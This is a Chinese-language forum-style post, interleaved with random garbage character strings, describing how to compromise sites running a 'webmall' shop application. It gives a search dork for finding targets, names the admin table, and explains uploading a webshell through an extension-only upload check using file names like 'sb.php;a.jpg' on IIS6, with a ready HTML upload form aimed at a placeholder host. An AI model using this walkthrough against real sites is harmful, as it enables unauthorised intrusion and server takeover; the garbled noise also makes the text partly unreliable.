关键字:inurl:webmall/detail.php?id
4 a, Q# j, L, W6 U. _. H6 p5 A+ l6 d, z& T& _9 X9 L" S3 U' n, U) N
数据表:pwn_base_admin' ?2 R$ \" h3 a( Z, O8 S" V
7 C' T5 [) z/ I2 t( n关于拿shell
' ~! y% g/ u5 L5 d8 l* ` , S o# `/ ~! M/ p
首先登录后台admin.php$ ], H4 ?* \2 C4 R) [
1 ]+ ^2 }4 {& V4 C+ d' h3 d& u, F- @0 K
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
4 |. H' _- s# @7 ?- d- i换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
& Z# s- T$ C" v( L: J3 f然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的8 I5 H% s' t( U1 }1 t
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> 3 h; d& l+ w! W' p: J' w0 `6 J. X
<input type="text" name="fileName" value="sb.php;a.jpg" />
4 Z. J/ K0 S' Y2 p* \<input type="hidden" name="attachPath" value="news/pics/" /> $ P* l, P. I7 c
<input type="file" name="fileData" size="14" /></td> `0 |% ]" H( B: ^8 b1 e& ^% S
<input type="submit" name="button" value="确定" /> + c0 }" q w1 k8 R/ l! F X u
</form>
# J J) Z7 l. D - L7 x* ]: @1 F% Y0 o; ]" `2 g
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
# h, P$ j9 W- c1 @- r, _" a3 z% k( S& U* N
|